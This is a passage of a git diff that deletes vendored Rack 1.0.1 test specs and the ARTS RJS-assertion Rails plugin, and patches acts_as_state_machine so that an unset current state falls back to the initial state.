helper.call(%w(identity), [["compress", 1.0], ["gzip", 1.0]]).should.equal("identity") - - helper.call(%w(compress gzip identity), [["compress", 1.0], ["gzip", 1.0]]).should.equal("compress") - helper.call(%w(compress gzip identity), [["compress", 0.5], ["gzip", 1.0]]).should.equal("gzip") - - helper.call(%w(foo bar identity), []).should.equal("identity") - helper.call(%w(foo bar identity), [["*", 1.0]]).should.equal("foo") - helper.call(%w(foo bar identity), [["*", 1.0], ["foo", 0.9]]).should.equal("bar") - - helper.call(%w(foo bar identity), [["foo", 0], ["bar", 0]]).should.equal("identity") - helper.call(%w(foo bar baz identity), [["*", 0], ["identity", 0.1]]).should.equal("identity") - end - - specify "should return the bytesize of String" do - Rack::Utils.bytesize("FOO\xE2\x82\xAC").should.equal 6 - end -end - -context "Rack::Utils::HeaderHash" do - specify "should retain header case" do - h = Rack::Utils::HeaderHash.new("Content-MD5" => "d5ff4e2a0 ...") - h['ETag'] = 'Boo!' - h.to_hash.should.equal "Content-MD5" => "d5ff4e2a0 ...", "ETag" => 'Boo!' - end - - specify "should check existence of keys case insensitively" do - h = Rack::Utils::HeaderHash.new("Content-MD5" => "d5ff4e2a0 ...") - h.should.include 'content-md5' - h.should.not.include 'ETag' - end - - specify "should merge case-insensitively" do - h = Rack::Utils::HeaderHash.new("ETag" => 'HELLO', "content-length" => '123') - merged = h.merge("Etag" => 'WORLD', 'Content-Length' => '321', "Foo" => 'BAR') - merged.should.equal "Etag"=>'WORLD', "Content-Length"=>'321', "Foo"=>'BAR' - end - - specify "should overwrite case insensitively and assume the new key's case" do - h = Rack::Utils::HeaderHash.new("Foo-Bar" => "baz") - h["foo-bar"] = "bizzle" - h["FOO-BAR"].should.equal "bizzle" - h.length.should.equal 1 - h.to_hash.should.equal "foo-bar" => "bizzle" - end - - specify "should be converted to real Hash" do - h = Rack::Utils::HeaderHash.new("foo" => "bar") - h.to_hash.should.be.instance_of Hash - end - - specify "should convert Array values to Strings when converting to Hash" do - h = Rack::Utils::HeaderHash.new("foo" => ["bar", "baz"]) - h.to_hash.should.equal({ "foo" => "bar\nbaz" }) - end - - specify "should be able to delete the given key case-sensitively" do - h = Rack::Utils::HeaderHash.new("foo" => "bar") - h.delete("foo") - h["foo"].should.be.nil - h["FOO"].should.be.nil - end - - specify "should be able to delete the given key case-insensitively" do - h = Rack::Utils::HeaderHash.new("foo" => "bar") - h.delete("FOO") - h["foo"].should.be.nil - h["FOO"].should.be.nil - end - - specify "should return the deleted value when #delete is called on an existing key" do - h = Rack::Utils::HeaderHash.new("foo" => "bar") - h.delete("Foo").should.equal("bar") - end - - specify "should return nil when #delete is called on a non-existant key" do - h = Rack::Utils::HeaderHash.new("foo" => "bar") - h.delete("Hello").should.be.nil - end -end - -context "Rack::Utils::Context" do - class ContextTest - attr_reader :app - def initialize app; @app=app; end - def call env; context env; end - def context env, app=@app; app.call(env); end - end - test_target1 = proc{|e| e.to_s+' world' } - test_target2 = proc{|e| e.to_i+2 } - test_target3 = proc{|e| nil } - test_target4 = proc{|e| [200,{'Content-Type'=>'text/plain', 'Content-Length'=>'0'},['']] } - test_app = ContextTest.new test_target4 - - specify "should set context correctly" do - test_app.app.should.equal test_target4 - c1 = Rack::Utils::Context.new(test_app, test_target1) - c1.for.should.equal test_app - c1.app.should.equal test_target1 - c2 = Rack::Utils::Context.new(test_app, test_target2) - c2.for.should.equal test_app - c2.app.should.equal test_target2 - end - - specify "should alter app on recontexting" do - c1 = Rack::Utils::Context.new(test_app, test_target1) - c2 = c1.recontext(test_target2) - c2.for.should.equal test_app - c2.app.should.equal test_target2 - c3 = c2.recontext(test_target3) - c3.for.should.equal test_app - c3.app.should.equal test_target3 - end - - specify "should run different apps" do - c1 = Rack::Utils::Context.new test_app, test_target1 - c2 = c1.recontext test_target2 - c3 = c2.recontext test_target3 - c4 = c3.recontext test_target4 - a4 = Rack::Lint.new c4 - a5 = Rack::Lint.new test_app - r1 = c1.call('hello') - r1.should.equal 'hello world' - r2 = c2.call(2) - r2.should.equal 4 - r3 = c3.call(:misc_symbol) - r3.should.be.nil - r4 = Rack::MockRequest.new(a4).get('/') - r4.status.should.be 200 - r5 = Rack::MockRequest.new(a5).get('/') - r5.status.should.be 200 - r4.body.should.equal r5.body - end -end - -context "Rack::Utils::Multipart" do - specify "should return nil if content type is not multipart" do - env = Rack::MockRequest.env_for("/", - "CONTENT_TYPE" => 'application/x-www-form-urlencoded') - Rack::Utils::Multipart.parse_multipart(env).should.equal nil - end - - specify "should parse multipart upload with text file" do - env = Rack::MockRequest.env_for("/", multipart_fixture(:text)) - params = Rack::Utils::Multipart.parse_multipart(env) - params["submit-name"].should.equal "Larry" - params["files"][:type].should.equal "text/plain" - params["files"][:filename].should.equal "file1.txt" - params["files"][:head].should.equal "Content-Disposition: form-data; " + - "name=\"files\"; filename=\"file1.txt\"\r\n" + - "Content-Type: text/plain\r\n" - params["files"][:name].should.equal "files" - params["files"][:tempfile].read.should.equal "contents" - end - - specify "should parse multipart upload with nested parameters" do - env = Rack::MockRequest.env_for("/", multipart_fixture(:nested)) - params = Rack::Utils::Multipart.parse_multipart(env) - params["foo"]["submit-name"].should.equal "Larry" - params["foo"]["files"][:type].should.equal "text/plain" - params["foo"]["files"][:filename].should.equal "file1.txt" - params["foo"]["files"][:head].should.equal "Content-Disposition: form-data; " + - "name=\"foo[files]\"; filename=\"file1.txt\"\r\n" + - "Content-Type: text/plain\r\n" - params["foo"]["files"][:name].should.equal "foo[files]" - params["foo"]["files"][:tempfile].read.should.equal "contents" - end - - specify "should parse multipart upload with binary file" do - env = Rack::MockRequest.env_for("/", multipart_fixture(:binary)) - params = Rack::Utils::Multipart.parse_multipart(env) - params["submit-name"].should.equal "Larry" - params["files"][:type].should.equal "image/png" - params["files"][:filename].should.equal "rack-logo.png" - params["files"][:head].should.equal "Content-Disposition: form-data; " + - "name=\"files\"; filename=\"rack-logo.png\"\r\n" + - "Content-Type: image/png\r\n" - params["files"][:name].should.equal "files" - params["files"][:tempfile].read.length.should.equal 26473 - end - - specify "should parse multipart upload with empty file" do - env = Rack::MockRequest.env_for("/", multipart_fixture(:empty)) - params = Rack::Utils::Multipart.parse_multipart(env) - params["submit-name"].should.equal "Larry" - params["files"][:type].should.equal "text/plain" - params["files"][:filename].should.equal "file1.txt" - params["files"][:head].should.equal "Content-Disposition: form-data; " + - "name=\"files\"; filename=\"file1.txt\"\r\n" + - "Content-Type: text/plain\r\n" - params["files"][:name].should.equal "files" - params["files"][:tempfile].read.should.equal "" - end - - specify "should parse multipart upload with filename with semicolons" do - env = Rack::MockRequest.env_for("/", multipart_fixture(:semicolon)) - params = Rack::Utils::Multipart.parse_multipart(env) - params["files"][:type].should.equal "text/plain" - params["files"][:filename].should.equal "fi;le1.txt" - params["files"][:head].should.equal "Content-Disposition: form-data; " + - "name=\"files\"; filename=\"fi;le1.txt\"\r\n" + - "Content-Type: text/plain\r\n" - params["files"][:name].should.equal "files" - params["files"][:tempfile].read.should.equal "contents" - end - - specify "should not include file params if no file was selected" do - env = Rack::MockRequest.env_for("/", multipart_fixture(:none)) - params = Rack::Utils::Multipart.parse_multipart(env) - params["submit-name"].should.equal "Larry" - params["files"].should.equal nil - params.keys.should.not.include "files" - end - - specify "should parse IE multipart upload and clean up filename" do - env = Rack::MockRequest.env_for("/", multipart_fixture(:ie)) - params = Rack::Utils::Multipart.parse_multipart(env) - params["files"][:type].should.equal "text/plain" - params["files"][:filename].should.equal "file1.txt" - params["files"][:head].should.equal "Content-Disposition: form-data; " + - "name=\"files\"; " + - 'filename="C:\Documents and Settings\Administrator\Desktop\file1.txt"' + - "\r\nContent-Type: text/plain\r\n" - params["files"][:name].should.equal "files" - params["files"][:tempfile].read.should.equal "contents" - end - - specify "rewinds input after parsing upload" do - options = multipart_fixture(:text) - input = options[:input] - env = Rack::MockRequest.env_for("/", options) - params = Rack::Utils::Multipart.parse_multipart(env) - params["submit-name"].should.equal "Larry" - params["files"][:filename].should.equal "file1.txt" - input.read.length.should.equal 197 - end - - private - def multipart_fixture(name) - file = File.join(File.dirname(__FILE__), "multipart", name.to_s) - data = File.open(file, 'rb') { |io| io.read } - - type = "multipart/form-data; boundary=AaB03x" - length = data.respond_to?(:bytesize) ? data.bytesize : data.size - - { "CONTENT_TYPE" => type, - "CONTENT_LENGTH" => length.to_s, - :input => StringIO.new(data) } - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_webrick.rb b/vendor/gems/rack-1.0.1/test/spec_rack_webrick.rb deleted file mode 100644 index 3e63ea63..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_webrick.rb +++ /dev/null @@ -1,130 +0,0 @@ -require 'test/spec' - -require 'rack/handler/webrick' -require 'rack/lint' -require 'rack/response' -require 'testrequest' - -Thread.abort_on_exception = true - -context "Rack::Handler::WEBrick" do - include TestRequest::Helpers - - setup do - @server = WEBrick::HTTPServer.new(:Host => @host='0.0.0.0', - :Port => @port=9202, - :Logger => WEBrick::Log.new(nil, WEBrick::BasicLog::WARN), - :AccessLog => []) - @server.mount "/test", Rack::Handler::WEBrick, - Rack::Lint.new(TestRequest.new) - Thread.new { @server.start } - trap(:INT) { @server.shutdown } - end - - specify "should respond" do - lambda { - GET("/test") - }.should.not.raise - end - - specify "should be a WEBrick" do - GET("/test") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /WEBrick/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal "9202" - response["SERVER_NAME"].should.equal "0.0.0.0" - end - - specify "should have rack headers" do - GET("/test") - response["rack.version"].should.equal [1,0] - response["rack.multithread"].should.be true - response["rack.multiprocess"].should.be false - response["rack.run_once"].should.be false - end - - specify "should have CGI headers on GET" do - GET("/test") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.be.nil - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.equal "/foo" - response["QUERY_STRING"].should.equal "quux=1" - - GET("/test/foo%25encoding?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.equal "/foo%25encoding" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["QUERY_STRING"].should.equal "" - response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - specify "should correctly set cookies" do - @server.mount "/cookie-test", Rack::Handler::WEBrick, - Rack::Lint.new(lambda { |req| - res = Rack::Response.new - res.set_cookie "one", "1" - res.set_cookie "two", "2" - res.finish - }) - - Net::HTTP.start(@host, @port) { |http| - res = http.get("/cookie-test") - res.code.to_i.should.equal 200 - res.get_fields("set-cookie").should.equal ["one=1", "two=2"] - } - end - - specify "should provide a .run" do - block_ran = false - catch(:done) { - Rack::Handler::WEBrick.run(lambda {}, - {:Port => 9210, - :Logger => WEBrick::Log.new(nil, WEBrick::BasicLog::WARN), - :AccessLog => []}) { |server| - block_ran = true - server.should.be.kind_of WEBrick::HTTPServer - @s = server - throw :done - } - } - block_ran.should.be true - @s.shutdown - end - - teardown do - @server.shutdown - end -end diff --git a/vendor/gems/rack-1.0.1/test/testrequest.rb b/vendor/gems/rack-1.0.1/test/testrequest.rb deleted file mode 100644 index 7b7190cb..00000000 --- a/vendor/gems/rack-1.0.1/test/testrequest.rb +++ /dev/null @@ -1,57 +0,0 @@ -require 'yaml' -require 'net/http' - -class TestRequest - def call(env) - status = env["QUERY_STRING"] =~ /secret/ ? 403 : 200 - env["test.postdata"] = env["rack.input"].read - body = env.to_yaml - size = body.respond_to?(:bytesize) ? body.bytesize : body.size - [status, {"Content-Type" => "text/yaml", "Content-Length" => size.to_s}, [body]] - end - - module Helpers - attr_reader :status, :response - - def GET(path, header={}) - Net::HTTP.start(@host, @port) { |http| - user = header.delete(:user) - passwd = header.delete(:passwd) - - get = Net::HTTP::Get.new(path, header) - get.basic_auth user, passwd if user && passwd - http.request(get) { |response| - @status = response.code.to_i - @response = YAML.load(response.body) - } - } - end - - def POST(path, formdata={}, header={}) - Net::HTTP.start(@host, @port) { |http| - user = header.delete(:user) - passwd = header.delete(:passwd) - - post = Net::HTTP::Post.new(path, header) - post.form_data = formdata - post.basic_auth user, passwd if user && passwd - http.request(post) { |response| - @status = response.code.to_i - @response = YAML.load(response.body) - } - } - end - end -end - -class StreamingRequest - def self.call(env) - [200, {"Content-Type" => "text/plain"}, new] - end - - def each - yield "hello there!\n" - sleep 5 - yield "that is all.\n" - end -end diff --git a/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered.rb b/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered.rb deleted file mode 100644 index 6dd9436d..00000000 --- a/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered.rb +++ /dev/null @@ -1,7 +0,0 @@ -module Rack - module Handler - # this class doesn't do anything, we're just seeing if we get it. - class Unregistered - end - end -end \ No newline at end of file diff --git a/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered_long_one.rb b/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered_long_one.rb deleted file mode 100644 index 1920685f..00000000 --- a/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered_long_one.rb +++ /dev/null @@ -1,7 +0,0 @@ -module Rack - module Handler - # this class doesn't do anything, we're just seeing if we get it. - class UnregisteredLongOne - end - end -end \ No newline at end of file diff --git a/vendor/plugins/acts_as_state_machine/lib/acts_as_state_machine.rb b/vendor/plugins/acts_as_state_machine/lib/acts_as_state_machine.rb index 50d0439f..793ac417 100644 --- a/vendor/plugins/acts_as_state_machine/lib/acts_as_state_machine.rb +++ b/vendor/plugins/acts_as_state_machine/lib/acts_as_state_machine.rb @@ -143,7 +143,12 @@ module ScottBarron #:nodoc: # Returns the current state the object is in, as a Ruby symbol. def current_state - self.send(self.class.state_column).to_sym + x = self.send(self.class.state_column) + return x.to_sym if not x.nil? + + # if current state is not yet set, set it + self.set_initial_state + return self.current_state end # Returns what the next state for a given event would be, as a Ruby symbol. diff --git a/vendor/plugins/arts/README b/vendor/plugins/arts/README deleted file mode 100644 index a15c6d21..00000000 --- a/vendor/plugins/arts/README +++ /dev/null @@ -1,28 +0,0 @@ -ARTS is Another RJS Test System - -For a complete tutorial, see http://glu.ttono.us/articles/2006/05/29/guide-test-driven-rjs-with-arts. - -Usage: - assert_rjs :alert, 'Hi!' - assert_rjs :assign, 'a', '2' - assert_rjs :call, 'foo', 'bar', 'baz' - assert_rjs :draggable, 'draggable_item' - assert_rjs :drop_receiving, 'receiving_item' - assert_rjs :hide, "post_1", "post_2", "post_3" - assert_rjs :insert_html, :bottom, 'posts' - assert_rjs :redirect_to, :action => 'list' - assert_rjs :remove, "post_1", "post_2", "post_3" - assert_rjs :replace, 'completely_replaced_div' - assert_rjs :replace, 'completely_replaced_div', '

    This replaced the div

    ' - assert_rjs :replace, 'completely_replaced_div', /replaced the div/ - assert_rjs :replace_html, 'replaceable_div', "This goes inside the div" - assert_rjs :show, "post_1", "post_2", "post_3" - assert_rjs :sortable, 'sortable_item' - assert_rjs :toggle, "post_1", "post_2", "post_3" - assert_rjs :visual_effect, :highlight, "posts", :duration => '1.0' - -For the square bracket syntax (page['some_id'].toggle) use :page followed by the id and then subsequent method calls. Assignment requires a '=' at the end of the method name followed by the value. - - assert_rjs :page, 'some_id', :toggle - assert_rjs :page, 'some_id', :style, :color=, 'red' - diff --git a/vendor/plugins/arts/about.yml b/vendor/plugins/arts/about.yml deleted file mode 100644 index 40c59fa6..00000000 --- a/vendor/plugins/arts/about.yml +++ /dev/null @@ -1,7 +0,0 @@ -author: Kevin Clark -summary: RJS Assertion Plugin -homepage: http://glu.ttono.us -plugin: -version: 0.6 -license: MIT -rails_version: 1.1.2+ \ No newline at end of file diff --git a/vendor/plugins/arts/init.rb b/vendor/plugins/arts/init.rb deleted file mode 100644 index f43aa1e2..00000000 --- a/vendor/plugins/arts/init.rb +++ /dev/null @@ -1,3 +0,0 @@ -# Give testing some culture -require 'test/unit/testcase' -Test::Unit::TestCase.send :include, Arts diff --git a/vendor/plugins/arts/install.rb b/vendor/plugins/arts/install.rb deleted file mode 100644 index a63be40f..00000000 --- a/vendor/plugins/arts/install.rb +++ /dev/null @@ -1 +0,0 @@ -puts IO.read(File.join(File.dirname(__FILE__), 'README')) \ No newline at end of file diff --git a/vendor/plugins/arts/lib/arts.rb b/vendor/plugins/arts/lib/arts.rb deleted file mode 100644 index ffc79819..00000000 --- a/vendor/plugins/arts/lib/arts.rb +++ /dev/null @@ -1,141 +0,0 @@ -module Arts - include ActionView::Helpers::PrototypeHelper - include ActionView::Helpers::ScriptaculousHelper - include ActionView::Helpers::JavaScriptHelper - - include ActionView::Helpers::UrlHelper - include ActionView::Helpers::TagHelper - - def assert_rjs(action, *args, &block) - respond_to?("assert_rjs_#{action}") ? - send("assert_rjs_#{action}", *args) : - assert_response_contains(create_generator.send(action, *args, &block), - generic_error(action, args)) - end - - def assert_no_rjs(action, *args, &block) - assert_raises(Test::Unit::AssertionFailedError) { assert_rjs(action, *args, &block) } - end - - def assert_rjs_insert_html(*args) - position = args.shift - item_id = args.shift - - content = extract_matchable_content(args) - - unless content.blank? - case content - when Regexp - assert_match Regexp.new("new Insertion\.#{position.to_s.camelize}(.*#{item_id}.*,.*#{content.source}.*);"), - @response.body - when String - assert_response_contains("new Insertion.#{position.to_s.camelize}(\"#{item_id}\", #{content});", - "No insert_html call found for \n" + - " position: '#{position}' id: '#{item_id}' \ncontent: \n" + - "#{content}\n" + - "in response:\n#{@response.body}") - else - raise "Invalid content type" - end - else - assert_match /Element\.insert\("#{item_id}", \{.*#{position.to_s.downcase}.*\}.*\)\;/, - @response.body - end - end - - def assert_rjs_replace_html(*args) - div = args.shift - content = extract_matchable_content(args) - - unless content.blank? - case content - when Regexp - assert_match Regexp.new("Element.update(.*#{div}.*,.*#{content.source}.*);"), - @response.body - when String - assert_response_contains("Element.update(\"#{div}\", #{content});", - "No replace_html call found on div: '#{div}' and content: \n#{content}\n" + - "in response:\n#{@response.body}") - else - raise "Invalid content type" - end - else - assert_match Regexp.new("Element.update(.*#{div}.*,.*?);"), @response.body - end - end - - def assert_rjs_replace(*args) - div = args.shift - content = extract_matchable_content(args) - - unless content.blank? - case content - when Regexp - assert_match Regexp.new("Element.replace(.*#{div}.*,.*#{content.source}.*);"), - @response.body - when String - assert_response_contains("Element.replace(\"#{div}\", #{content});", - "No replace call found on div: '#{div}' and content: \n#{content}\n" + - "in response:\n#{@response.body}") - else - raise "Invalid content type" - end - else - assert_match Regexp.new("Element.replace(.*#{div}.*,.*?);"), @response.body - end - end - - # To deal with [] syntax. I hate JavaScriptProxy so.. SO very much - def assert_rjs_page(*args) - content = build_method_chain!(args) - assert_match Regexp.new(Regexp.escape(content)), @response.body, - "Content did not include:\n #{content.to_s}" - end - - protected - - def assert_response_contains(str, message) - assert @response.body.to_s.index(str), message - end - - def build_method_chain!(args) - content = create_generator.send(:[], args.shift) # start $('some_id').... - - while !args.empty? - if (method = args.shift.to_s) =~ /(.*)=$/ - content = content.__send__(method, args.shift) - break - else - content = content.__send__(method) - content = content.__send__(:function_chain).first if args.empty? - end - end - - content - end - - def create_generator - block = Proc.new { |*args| yield *args if block_given? } - JavaScriptGenerator.new self, &block - end - - def generic_error(action, args) - "#{action} with args [#{args.join(" ")}] does not show up in response:\n#{@response.body}" - end - - def extract_matchable_content(args) - if args.size == 1 and args.first.is_a? Regexp - return args.first - else - return create_generator.send(:arguments_for_call, args) - end - end - - public - - # hack for rails 2.2.2 - def with_output_buffer(lines=[], &block) - block.call - end - -end \ No newline at end of file diff --git a/vendor/plugins/arts/test/arts_test.rb b/vendor/plugins/arts/test/arts_test.rb deleted file mode 100644 index fad2be37..00000000 --- a/vendor/plugins/arts/test/arts_test.rb +++ /dev/null @@ -1,402 +0,0 @@ -$:.unshift(File.dirname(__FILE__) + '/../lib') - -require File.dirname(__FILE__) + '/../../../../config/environment' -require 'test/unit' -require 'rubygems' -require 'breakpoint' - -require 'action_controller/test_process' - -ActionController::Base.logger = nil -ActionController::Base.ignore_missing_templates = false -ActionController::Routing::Routes.reload rescue nil - -class ArtsController < ActionController::Base - def alert - render :update do |page| - page.alert 'This is an alert' - end - end - - def assign - render :update do |page| - page.assign 'a', '2' - end - end - - def call - render :update do |page| - page.call 'foo', 'bar', 'baz' - end - end - - def draggable - render :update do |page| - page.draggable 'my_image', :revert => true - end - end - - def drop_receiving - render :update do |page| - page.drop_receiving "my_cart", :url => { :controller => "cart", :action => "add" } - end - end - - def hide - render :update do |page| - page.hide 'some_div' - end - end - - def insert_html - render :update do |page| - page.insert_html :bottom, 'content', 'Stuff in the content div' - end - end - - def redirect - render :update do |page| - page.redirect_to :controller => 'sample', :action => 'index' - end - end - - def remove - render :update do |page| - page.remove 'offending_div' - end - end - - def replace - render :update do |page| - page.replace 'person_45', '
    This replaces person_45
    ' - end - end - - def replace_html - render :update do |page| - page.replace_html 'person_45', 'This goes inside person_45' - end - end - - def show - render :update do |page| - page.show 'post_1', 'post_2', 'post_3' - end - end - - def sortable - render :update do |page| - page.sortable 'sortable_item' - end - end - - def toggle - render :update do |page| - page.toggle "post_1", "post_2", "post_3" - end - end - - def visual_effect - render :update do |page| - page.visual_effect :highlight, "posts", :duration => '1.0' - end - end - - def page_with_one_chained_method - render :update do |page| - page['some_id'].toggle - end - end - - def page_with_assignment - render :update do |page| - page['some_id'].style.color = 'red' - end - end - - def rescue_errors(e) raise e end - -end - -class ArtsTest < Test::Unit::TestCase - def setup - @controller = ArtsController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - end - - def test_alert - get :alert - - assert_nothing_raised { assert_rjs :alert, 'This is an alert' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :alert, 'This is not an alert' - end - - assert_nothing_raised { assert_no_rjs :alert, 'This is not an alert' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :alert, 'This is an alert' - end - end - - def test_assign - get :assign - - assert_nothing_raised { assert_rjs :assign, 'a', '2' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :assign, 'a', '3' - end - - assert_nothing_raised { assert_no_rjs :assign, 'a', '3' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :assign, 'a', '2' - end - end - - def test_call - get :call - - assert_nothing_raised { assert_rjs :call, 'foo', 'bar', 'baz' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :call, 'foo', 'bar' - end - - assert_nothing_raised { assert_no_rjs :call, 'foo', 'bar' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :call, 'foo', 'bar', 'baz' - end - end - - def test_draggable - get :draggable - - assert_nothing_raised { assert_rjs :draggable, 'my_image', :revert => true } - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :draggable, 'not_my_image' - end - - assert_nothing_raised { assert_no_rjs :draggable, 'not_my_image' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :draggable, 'my_image', :revert => true - end - end - - def test_drop_receiving - get :drop_receiving - - assert_nothing_raised { assert_rjs :drop_receiving, "my_cart", :url => { :controller => "cart", :action => "add" } } - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :drop_receiving, "my_cart" - end - - assert_nothing_raised { assert_no_rjs :drop_receiving, "my_cart" } - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :drop_receiving, "my_cart", :url => { :controller => "cart", :action => "add" } - end - end - - def test_hide - get :hide - - assert_nothing_raised { assert_rjs :hide, 'some_div' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :hide, 'some_other_div' - end - - assert_nothing_raised { assert_no_rjs :hide, 'not_some_div' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :hide, 'some_div' - end - end - - def test_insert_html - get :insert_html - - - assert_nothing_raised do - # No content matching - assert_rjs :insert_html, :bottom, 'content' - # Exact content matching - assert_rjs :insert_html, :bottom, 'content', 'Stuff in the content div' - # Regex matching - assert_rjs :insert_html, :bottom, 'content', /in.*content/ - - assert_no_rjs :insert_html, :bottom, 'not_our_div' - - assert_no_rjs :insert_html, :bottom, 'content', /in.*no content/ - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :insert_html, :bottom, 'content' - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :insert_html, :bottom, 'no_content' - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :insert_html, :bottom, 'content', /in the/ - end - end - - def test_redirect_to - get :redirect - - assert_nothing_raised do - assert_rjs :redirect_to, :controller => 'sample', :action => 'index' - assert_no_rjs :redirect_to, :controller => 'sample', :action => 'show' - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :redirect_to, :controller => 'doesnt', :action => 'exist' - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :redirect_to, :controller => 'sample', :action => 'index' - end - end - - def test_remove - get :remove - - assert_nothing_raised do - assert_rjs :remove, 'offending_div' - assert_no_rjs :remove, 'dancing_happy_div' - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :remove, 'dancing_happy_div' - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :remove, 'offending_div' - end - end - - def test_replace - get :replace - - assert_nothing_raised do - # No content matching - assert_rjs :replace, 'person_45' - # String content matching - assert_rjs :replace, 'person_45', '
    This replaces person_45
    ' - # regexp content matching - assert_rjs :replace, 'person_45', /
    .*person_45.*<\/div>/ - - assert_no_rjs :replace, 'person_45', '
    This replaces person_46
    ' - - assert_no_rjs :replace, 'person_45', /person_46/ - end - - assert_raises(Test::Unit::AssertionFailedError) { assert_no_rjs :replace, 'person_45' } - assert_raises(Test::Unit::AssertionFailedError) { assert_no_rjs :replace, 'person_45', /person_45/ } - assert_raises(Test::Unit::AssertionFailedError) { assert_rjs :replace, 'person_46' } - assert_raises(Test::Unit::AssertionFailedError) { assert_rjs :replace, 'person_45', 'bad stuff' } - assert_raises(Test::Unit::AssertionFailedError) { assert_rjs :replace, 'person_45', /not there/} - end - - def test_replace_html - get :replace_html - - assert_nothing_raised do - # No content matching - assert_rjs :replace_html, 'person_45' - # String content matching - assert_rjs :replace_html, 'person_45', 'This goes inside person_45' - # Regexp content matching - assert_rjs :replace_html, 'person_45', /goes inside/ - - assert_no_rjs :replace_html, 'person_46' - - assert_no_rjs :replace_html, 'person_45', /doesn't go inside/ - end - - assert_raises(Test::Unit::AssertionFailedError) { assert_no_rjs :replace_html, 'person_45' } - assert_raises(Test::Unit::AssertionFailedError) { assert_no_rjs :replace_html, 'person_45', /goes/ } - assert_raises(Test::Unit::AssertionFailedError) { assert_rjs :replace_html, 'person_46' } - assert_raises(Test::Unit::AssertionFailedError) { assert_rjs :replace_html, 'person_45', /gos inside/ } - end - - def test_show - get :show - assert_nothing_raised do - assert_rjs :show, "post_1", "post_2", "post_3" - assert_no_rjs :show, 'post_4' - end - - assert_raises(Test::Unit::AssertionFailedError) { assert_rjs :show, 'post_4' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :show, "post_1", "post_2", "post_3" - end - end - - def test_sortable - get :sortable - assert_nothing_raised do - assert_rjs :sortable, 'sortable_item' - assert_no_rjs :sortable, 'non-sortable-item' - end - - assert_raises(Test::Unit::AssertionFailedError) { assert_rjs :sortable, 'non-sortable-item' } - assert_raises(Test::Unit::AssertionFailedError) { assert_no_rjs :sortable, 'sortable_item' } - end - - def test_toggle - get :toggle - assert_nothing_raised do - assert_rjs :toggle, "post_1", "post_2", "post_3" - assert_no_rjs :toggle, 'post_4' - end - - assert_raises(Test::Unit::AssertionFailedError) { assert_rjs :toggle, 'post_4' } - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :toggle, "post_1", "post_2", "post_3" - end - end - - def test_visual_effect - get :visual_effect - assert_nothing_raised do - assert_rjs :visual_effect, :highlight, "posts", :duration => '1.0' - assert_no_rjs :visual_effect, :highlight, "lists" - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :visual_effect, :highlight, "lists" - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_no_rjs :visual_effect, :highlight, "posts", :duration => '1.0' - end - end - - # [] support - - def test_page_with_one_chained_method - get :page_with_one_chained_method - assert_nothing_raised do - assert_rjs :page, 'some_id', :toggle - assert_no_rjs :page, 'some_other_id', :toggle - end - - assert_raises(Test::Unit::AssertionFailedError) do - assert_rjs :page, 'some_other_id', :toggle - assert_no_rjs :page, 'some_id', :toggle - end - end - - def test_page_with_assignment - get :page_with_assignment - - assert_nothing_raised do - assert_rjs :page, 'some_id', :style, :color=, 'red' - assert_no_rjs :page, 'some_id', :color=, 'red' - end - - 